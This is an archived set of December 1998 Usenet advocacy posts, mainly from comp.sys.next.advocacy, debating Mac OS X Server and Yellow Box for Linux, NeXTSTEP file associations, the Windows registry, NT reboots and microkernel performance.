From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 11:32:40 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77deao.jp4.jedi@dementia.mishnet>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net>
On Tue, 15 Dec 1998 18:44:58 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <7563lg$89l$1@nnrp03.primenet.com> John Jensen wrote:
>> I think something like this could satisfy Apple's goals ... and satisfy
>> users of the more hackerly nature.
>
> I've asked it before and I'll ask it again, will the Linux community
>accept a commercial non-open system as the basis for the application
>support?
NO.
Either the source needs to be free or the specification needs to be.
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
References: <3676176A.6212EABF@nstar.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 15 Dec 98 19:34:32 GMT
On Tue, 15 Dec 1998 08:01:46, "Michael J. Peck" <mjpeck@nstar.net>
thought aloud:
> Rob Malda has posted two different polls since I requested a Yellow Box
> for Linux poll, so I assume that he has rejected the idea (I've received
> no reply to my e-mail).
>
> If you'd like to see a Slashdot.org poll regarding the Linux community's
> feeling about the necessity of a Linux port, feel free to email Rob at
>
> mailto:malda@slashdot.org
>
> Maybe he'll reconsider if enough people are interested (why do I get the
> sudden feeling that I'm pursuing another chicken-and-egg project?).
> Please remember that the emphasis of the poll is to determine whether a
> Linux port is necessary on the basis of the number of people who would
> run YB on Linux but would not pursue a "Mac OS X Server for Intel"
> alternative.
With all due respect, I feel that such a poll would not serve its
purpose very well at this point of time simply because very little, if
any, information exists regarding either Apple's YB strategy or Mac OS
X (let alone the Intel version).
With some facts, or at least some reasonably credible rumours, at hand
and a good introduction to lead the pollees into the depths of
relevant details the poll might give clearer picture of the
slashdotter community's response.
Also, while I would be very interested in the non-NeXT/Mac users'
reactions and the discussions I'm not certain if such poll should be
used to "determine whether a Linux port is necessary...". If you know
what I mean... ;-)
Brgds,
--
taiQ
[this space is intentionally blank]
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
Date: Tue, 15 Dec 1998 13:50:45 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676BD95.5A9E7640@ericsson.com>
References: <3676176A.6212EABF@nstar.net> <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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taiQ wrote:
[cut]
> With all due respect, I feel that such a poll would not serve its
> purpose very well at this point of time simply because very little, if
> any, information exists regarding either Apple's YB strategy or Mac OS
> X (let alone the Intel version).
>
> With some facts, or at least some reasonably credible rumours, at hand
> and a good introduction to lead the pollees into the depths of
> relevant details the poll might give clearer picture of the
> slashdotter community's response.
>
> Also, while I would be very interested in the non-NeXT/Mac users'
> reactions and the discussions I'm not certain if such poll should be
> used to "determine whether a Linux port is necessary...". If you know
> what I mean... ;-)
Good comments. I present the matter as an extension of a prior thread of
conversation here in CSNA (between myself and Charles Swiger), during
which the poll was proposed. I would like to comment on many of your
points, but they are best understood in the context of that thread.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 13:55:06 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676BE9A.D76FE8DE@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
jedi@dementia.mishnet wrote:
> NO.
>
> Either the source needs to be free or the specification needs to be.
I will affirm this. The Linux community will not accept "black box"
solutions.
MJP
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 20:07:34 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3681c16d.1371656890@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675851d.1290680718@news.isomedia.com> <756bmq$mgv$1@nnrp1.dejanews.com>
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On Tue, 15 Dec 1998 19:01:47 GMT, "Charles Swiger" <chuck@codefab.com>
wrote:
>In article <3675851d.1290680718@news.isomedia.com>,
> sang@isomedia.com.remove.this.com (Sang K. Choe) wrote:
>> On Mon, 14 Dec 1998 03:12:04 -0400, Ben White
>> <benjamin_white@brown.edu> wrote:
>[ ... ]
>> I'm not sure where you got that idea that changing DNS setting under
>> NT requires a reboot, but this doesn't. Nor does changing routing
>> tables.
>
>Under NT 4.0SP3:
>
>Start->Settings->Control Panel, Network->Protocols->TCP/IP->Properties WINS
>Address Tab, toggle "Enable DNS for Windows Resolution" checkbox twice (to
>restore to original value), hit Apply, Okay, Close.
DNS != WINS.
-- Sang.
----------------------------------------------
My views are my own.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 15 Dec 1998 19:41:27 GMT
Organization: AOL http://www.aol.com
References: <distler-1512981236450001@192.168.0.1>
Message-ID: <19981215144127.29613.00002706@ng55.aol.com>
distler@golem.ph.utexas.edu (Jacques Distler) said:
(regarding default file associations)
<<And there's no way to set this on a per-file basis. >>
and
<<
But if the Application isn't running, and isn't in the Dock,
command-dragging a document won't launch it (unlike, eg, in the current
MacOS Finder).>>
That's what the Workspace tool inspector palette is for--offers a scrolling
list of all available apps associated with a given file extension.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Message-ID: <3676C654.F1D6F3B9@klassy.com>
Date: Tue, 15 Dec 1998 12:28:05 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675851d.1290680718@news.isomedia.com> <756bmq$mgv$1@nnrp1.dejanews.com> <3681c16d.1371656890@news.isomedia.com>
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Thats not the point, if you make a change and then undo it (ie all the settings
are the same) before closing a dialog you are still told to reboot.
"Sang K. Choe" wrote:
> On Tue, 15 Dec 1998 19:01:47 GMT, "Charles Swiger" <chuck@codefab.com>
> wrote:
>
> >In article <3675851d.1290680718@news.isomedia.com>,
> > sang@isomedia.com.remove.this.com (Sang K. Choe) wrote:
> >> On Mon, 14 Dec 1998 03:12:04 -0400, Ben White
> >> <benjamin_white@brown.edu> wrote:
> >[ ... ]
> >> I'm not sure where you got that idea that changing DNS setting under
> >> NT requires a reboot, but this doesn't. Nor does changing routing
> >> tables.
> >
> >Under NT 4.0SP3:
> >
> >Start->Settings->Control Panel, Network->Protocols->TCP/IP->Properties WINS
> >Address Tab, toggle "Enable DNS for Windows Resolution" checkbox twice (to
> >restore to original value), hit Apply, Okay, Close.
>
> DNS != WINS.
>
> -- Sang.
> ----------------------------------------------
> My views are my own.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
Date: 15 Dec 98 19:56:15 GMT
Organization: P & L Systems
Message-ID: <3676bedf.0@stan.astra.co.uk>
References: <3676176A.6212EABF@nstar.net> <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost> taiQ composed another sweeping
gereralisation which doesn't stand up to scrutiny.:
> With all due respect, I feel that such a poll would not serve its
> purpose very well at this point of time simply because very little, if
> any, information exists regarding either Apple's YB strategy or Mac OS
> X (let alone the Intel version).
>
What do you want to know about YB and MacOS X?
There is plenty of information available...
... much even from Apple's web site:
http://developer.apple.com/macosx/
mmalc.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <petrichF40y14.6rA@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com>
Date: Tue, 15 Dec 1998 20:53:27 GMT
Sender: petrich@netcom18.netcom.com
In article <3676B50C.4DC3479F@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>Elite, Anointed, there are many handles for those who presume to speak
>and act on behalf of beknighted "masses". ...
Just like business leaders?
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: joecosby@puvsoh.seatac.net (Joe Cosby)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3674BF34.13D10FAE@brown.edu>
Message-ID: <F1Ad2.360$eB2.877@news14.ispnews.com>
NNTP-Posting-Date: Tue, 15 Dec 1998 15:56:05 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 15 Dec 1998 20:56:05 GMT
** To reply in e-mail, remove "puvsoh." from address **
ALSO SPRACH Ben White:
> Willy wrote:
[snip]
> work. Lots of people have great ideas and the know-how to implement them with
> resources that pale beside those of MS. You don't need a fleet of thousands of
> programers to create some really great applications. Think Adobe Photoshop. Or
> Qualcomm's Eudora. Or the web browser.
For the Amiga there is a lot of really well-done software done by very small
groups of programmers or even one programmer. Miami, possibly one of the
best TCP/IP stacks for any platform, was, I think, written by one guy
(Holger Kruse). ImageFX, WildFire, Cinema4D, all written by fairly small
teams.
There are probably dozens of examples.
I think that's how we manage to stay alive at all; in the midst of a software
industry which is hugely dominated by M$.
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Message-ID: <SPAMLESSforrest-1512981259380001@term6-32.vta.west.net>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com> <distler-1512981236450001@192.168.0.1>
Organization: Obsidian
Date: Tue, 15 Dec 1998 12:59:37 -0800
NNTP-Posting-Date: Tue, 15 Dec 1998 12:55:08 PDT
In article <distler-1512981236450001@192.168.0.1>,
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
>In article <753r26$5e$1@news.xmission.com>, don@misckit.com wrote:
>
>>So I've set up .html files to open up in a programmer's text editor, since I
>>tend to edit HTML more often than view it. That's my preference. Most
>>people would make a browser such as OmniWeb be the default application for
>>opening .html files, I would expect.
>
>And there's no way to set this on a per-file basis.
>
>Eg, .html file that you are currently working on opened by your text
>editor, the rest (say, the default behaviour) opened by OmniWeb.
Hrm... it would be interesting if you could set individual files *and* a
system-wide default. I'm thinking like the way MacOS 8.5 does folder
views; there's a standard folder view type which is applied to all folders
by default, but you can change the view of any individual folder (and
click "set to defaults" to set it back). It would be nice if the Get Info
("Inspector"?) panel for a file would show you what app it "belongs" to
(just like the MacOS "Info" panel does), and then have a popup menu of
apps which can open that file type, and a "set to defaults" button. Does
NeXTSTEP do something like this? If not, OSX should.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 15:07:34 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676CF96.376453F1@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com>
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Loren Petrich wrote:
> >Elite, Anointed, there are many handles for those who presume to speak
> >and act on behalf of beknighted "masses". ...
>
> Just like business leaders?
No, not just like business leaders. Unless I voluntarily give them leave
to do so, there are no "business leaders" who speak and act for me. Are
there business leaders who speak and act for you? How do they do that?
Why do you let them do this thing?
MJP
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 15 Dec 1998 21:08:45 GMT
Organization: Indiana University, Bloomington
Message-ID: <756j4t$ipl$1@flotsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <7523tc$co2$7@hecate.umd.edu>
In article <7523tc$co2$7@hecate.umd.edu>,
David T. Wang <davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu> wrote:
>Joe Ragosta (joe.ragosta@dol.net) wrote:
>: In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
>: <mjpeck@nstar.net> wrote:
>: > Gregory Loren Hansen wrote:
>: >
>: > [cut]
>: >
>: > > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: > > faster because Apple is bigger than any single Unix vendor.
>: >
>: > MacOS X could be a good Unix, but it probably won't. The FAQ stresses
>: > that it is not, in Apple's opinion, a traditional Unix system. That's
>: > not conclusive, but it certainly raises some disappointing
>: > possibilities.
>
>: Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
>
>: AFAIK, Mac OS X will have full BSD Unix support.
>
>: My guess is that it will be optimized for ease of use. If you want balls
>: to the walls maximum performance, you're probably better off with a system
>: like Linux or a commercial Unix. But if you want a combination of good
>: performance, ease of use, and features, it should be a good alternative.
>
>What the heck is a "good unix"? What is a "bad unix"? And other than
>the GUI (which NeXTStep already had) What "ease of use" features could
>they add to "unix"? This is all very strange to me.
I think in the context of this discussion, a "good Unix" is one that an
administrator with experience in Linux, HP-UX, Solaris, SCO, and/or other
common Unices can sit down in front of and, well, administer. He should
recognize the file system from the first time he types ls. It should
have all the tools he is familiar with, the tools should be in all the
places he expects to find them, and they should act the way he expects
them to act.
It is said (in the book _The Tao of Programming_) that a program should
follow the "law of least astonishment". That means the program should act
in a manner that astonishes the user the least. A Unix should also follow
the law of least astonishment, acting in a manner that astonishes the
administrator the least. BSD and NextStep are a good foundation. If
Apple's Unix will only follow the law of least astonishment, I'm sure it
will be a good Unix in any sense you care to name.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: joecosby@rycnun.seatac.net (Joe Cosby)
Subject: Re: Registry Synchronization?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com>
Message-ID: <KgAd2.393$eB2.831@news14.ispnews.com>
NNTP-Posting-Date: Tue, 15 Dec 1998 16:12:10 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 15 Dec 1998 21:12:10 GMT
** To reply in e-mail, remove "rycnun." from address **
ALSO SPRACH Loren Petrich:
> In article <367576aa.24105942@news2.asan.com>,
> Willy <willy1@rocketmail.com> wrote:
> >On 14 Dec 98 19:14:24 GMT, in comp.os.ms-windows.advocacy
> >token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>
> >>What an abominable kludge; Windoze stores all app's stuff in one
> >>single database and doesn't even provide methods for synchronization.
>
> >It's doesn't need a synchronization method. The registry is always
> >there you; just have to read it. ...
>
> True, no synchronization is necessary if one only wants to read
> it, but if one wishes to write into it (add a key, delete a key, change
> value of key), that's where synchronization is necessary. It's the sort
> of thing that gets covered in elementary OS-design textbooks. Two solutions:
>
> Some sort of exclusive-write-access semaphore; when a process wants to
> write to the Registry, it tries to grab it, and waits for its current
> holder to finish, if need be.
>
> Some server process with the exclusive right to write to the Registry;
> all processes send their write requests to that server process.
>
Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
in the root install directory of the app.
I have a very hard time seeing an advantage to a monolithic registry, and
many disadvantages.
Doesn't everybody here back up their important data? Probably, and why?
Because we've learned that there is always a risk that data will be
corrupted. But how exactly do you back up the registry? If my application
gets corrupted, I can just reload the data from the backup. But what if
my registry gets corrupted?
To me, a monolithic registry is the height of stupidity. It is one of the
main reasons I hope I never wind up buying a Wintel.
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 15 Dec 98 19:51:26 GMT
Organization: P & L Systems
Message-ID: <3676bdbe.0@stan.astra.co.uk>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net>
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Cc: maury@remove_this.istar.ca
In <F3ypnu.6p0@T-FCN.Net> Maury Markowitz wrote:
> In <14Nc2.20795$q15.465873@news.san.rr.com> "Ed Deans." wrote:
> > good rendition of the unused NEXTSTEP 4.0 UI.
>
> Speaking of, who had the snapshots of the UI up? I can't find that page
> any more.
>
Funnily enough it was actually I who released the original version, complete
with some notes I took during the meeting at which it was previewed: :-)
http://www.plsys.co.uk/~malcolm/NEXTSTEP/grab4.0.html
Best wishes,
mmalc.
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 15 Dec 1998 21:26:48 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <756k6o$p4e$1@geraldo.cc.utexas.edu>
References: <distler-1512981236450001@192.168.0.1> <19981215144127.29613.00002706@ng55.aol.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
willadams@aol.com (WillAdams) wrote:
><<And there's no way to set this on a per-file basis. >>
>
>and
>
><<
>But if the Application isn't running, and isn't in the Dock,
>command-dragging a document won't launch it (unlike, eg, in the current
>MacOS Finder).>>
>
>That's what the Workspace tool inspector palette is for--offers a scrolling
>list of all available apps associated with a given file extension.
No.
The Inspector sets this on a System-wide basis. You can't set some .html
files to open with Textedit.app and others to open with OmniWeb.app.
What's more, if I want to open that .html file (which is currently set to be
opened in my text editor because I am working on it) in a browser, I can't
just command-drag it over the app's icon (unless, that is, I devote the
precious real estate in the dock to every possible browser I might want to
test the html with). That's because icons in the Workspace.app file browser
are not the same thing as tiles (in the dock or otherwise). You can
command-drag over the latter, but not the former.
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Registry Synchronization?
Message-ID: <petrichF410LM.B7t@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
Date: Tue, 15 Dec 1998 21:48:58 GMT
Sender: petrich@netcom18.netcom.com
In article <KgAd2.393$eB2.831@news14.ispnews.com>,
Joe Cosby <joecosby@rycnun.seatac.net> wrote:
[on how to make the Windows Registry usable -- impose exclusive access]
And not only that -- use database techniques to make it
fail-safe. Arrange so that if some change to it is partially do
>Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
>in the root install directory of the app.
Or else in some special "preferences" directory. The MacOS uses an
OS-wide one, which is a bad design for multi-user systems; one could do
some aliasing trick for multi-user duty, however. Unix and Unix-like
systems put configuration files either in a user's home directory or in
some subdirectory. The result is instant, clean multiuser configurability.
In fact, Nick Petreley once wrote a column about how this is a
big weakness of Windows -- lack of good, portable multi-user support.
[Backing up the Registry...]
Actually, one can do backups of it with "regedit".
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Sender: darin@snowboard
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de> <y1un24qozb2.fsf@acuson.com> <cdoutyF40s05.GHv@netcom.com>
From: Darin Johnson <darin@usa.net.nospam>
Message-ID: <y1usoehaxp2.fsf@acuson.com>
Organization: Acuson Corp
Date: 15 Dec 1998 13:43:05 -0800
NNTP-Posting-Date: Tue, 15 Dec 1998 13:43:54 PDT
cdouty@netcom.com (Chris Douty) writes:
> Most people get by fine with the Ultra 5 or 10 for desktop use.
Sigh. I have to use a Sparcstation 5... I can only dream about
getting the slowest Ultra available.
My boss has promised to budget a PC for next year, which I can then
put Linux and and be in heaven. He keeps mentioning "NT" for some
perverted reason, saying I can always do my UNIX-only development
from it (yeah right, via the telnet box :-).
> >Are there any comparisons of SMP on Sparc Solaris versus Sparc Linux?
> >I know people are working on this.
>
> I'd love to see some. Sun has been working for years on multi-threaded
> I/O and efficient utilization of multiple CPUs for multi-tasking
> environments. However, Linux has shown truly excellent performance
> (better than Solaris) on SuperSPARC hardware. I haven't seen any data on
> the UltraSPARC ports; they are rather new.
This has somewhat interested me. On one hand, Sun has spent more time
on this than Linux, but on the other hand Solaris is a bloated sow.
> Apps are where the money is.
Yep. About 4 years ago or so, one HP trainer in an apps class I was
in commented that, in his opinion, HP really wanted to get out of the
UNIX OS business altogether, but were stuck with it.
But this is history replaying over and over. Once IBM and its OS's
were stodgy bureaucratic things, and DEC was the lithe nimble
competitor that grabbed the new market; then DEC became stodgy and
its OS's seemd blase, and UNIX overtook it and seemed fresh and new;
then the UNIX vendors seem to becoming old fogeys, and the PC world
was the new happening things; then the PC world got bureaucratic and
bogged down...
(where does Linux fit? One one hand, it's lithe and nimble, but it's
mostly collecting all of the best of UNIX in a single package, but not
necessarily branching in a new direction. But at least each new Linux
release seems interesting still.)
--
Darin Johnson
I'm not a well adjusted person, but I play one on the net.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <petrichF410no.BFK@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com>
Date: Tue, 15 Dec 1998 21:50:12 GMT
Sender: petrich@netcom18.netcom.com
In article <3676CF96.376453F1@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>Loren Petrich wrote:
>> >Elite, Anointed, there are many handles for those who presume to speak
>> >and act on behalf of beknighted "masses". ...
>> Just like business leaders?
>No, not just like business leaders. Unless I voluntarily give them leave
>to do so, there are no "business leaders" who speak and act for me. Are
>there business leaders who speak and act for you? How do they do that?
>Why do you let them do this thing?
What you describe is true of the other "elites" you complain
about -- you don't have to pay any attention to them if you don't want to.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: Tue, 15 Dec 1998 21:53:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <756lo5$vo6$1@nnrp1.dejanews.com>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
In article <GOyd2.1558$4w2.6884159@news.itd.umich.edu>,
"Jin Kim" <kwazyjin@hotmail.com> wrote:
> I was wondering if those who've used NeXTStep in the past could give me an
> objective view on the performance hit due to microkernel.
Nope, because NEXTSTEP and OPENSTEP used a monolithic Mach 2.x kernel, albeit
one which did have a fairly clear hierarchy or layering. For instance, the
BSD 4.3 stuff, process semantics, and std C library routines were clearly on
top of lower-level Mach primitives.
> My OS book from college describes Mach3.0 as quite fast. It also implies
> that 4.3BSD on Mach3.0 has about the equivalent performance of monolithic
> 4.3BSD, if not better.
Would it suffice to say that benchmarking a kernel _meaningfully_ is not
trivial? Mach has very good performance in a lot of areas, but a true
microkernel design does trade off performance in some areas, too.
Furthermore, the overhead for the additional context-switching performed by a
microkernel is very highly dependant on the hardware (CPU, caches, etc), so
it's tough to take specific results from a specific benchmark and generalize
in a useful fashion.
[ ... ]
> I'm always having to retreat b/c the other side points to MkLinux as an
> example of why microkerneled OS is slow in comparison to monolithic kernel.
> I do believe that MkLinux implementation isn't where it could be.
> Nevertheless, MkLinux is quite slow in comparison to LinuxPPC, which is
> monolithic.
I regret that I don't know enough about MkLinux to say much. Maybe it's
simply not very well tuned, and turning someone like Avie lose on it would
improve it's performance dramaticly. Or maybe not. :-)
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 15 Dec 1998 22:05:27 GMT
Organization: MiscKit Development
Message-ID: <756mf7$rc$2@news.xmission.com>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com> <distler-1512981236450001@192.168.0.1> <SPAMLESSforrest-1512981259380001@term6-32.vta.west.net>
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NNTP-Posting-Date: 15 Dec 1998 22:05:27 GMT
SPAMLESSforrest@west.net (Forrest Cameranesi) wrote:
> Hrm... it would be interesting if you could set individual files
> *and* a system-wide default. I'm thinking like the way MacOS 8.5 does
> folder views; there's a standard folder view type which is applied to
> all folders by default, but you can change the view of any individual
> folder (and click "set to defaults" to set it back). It would be nice
> if the Get Info ("Inspector"?) panel for a file would show you what
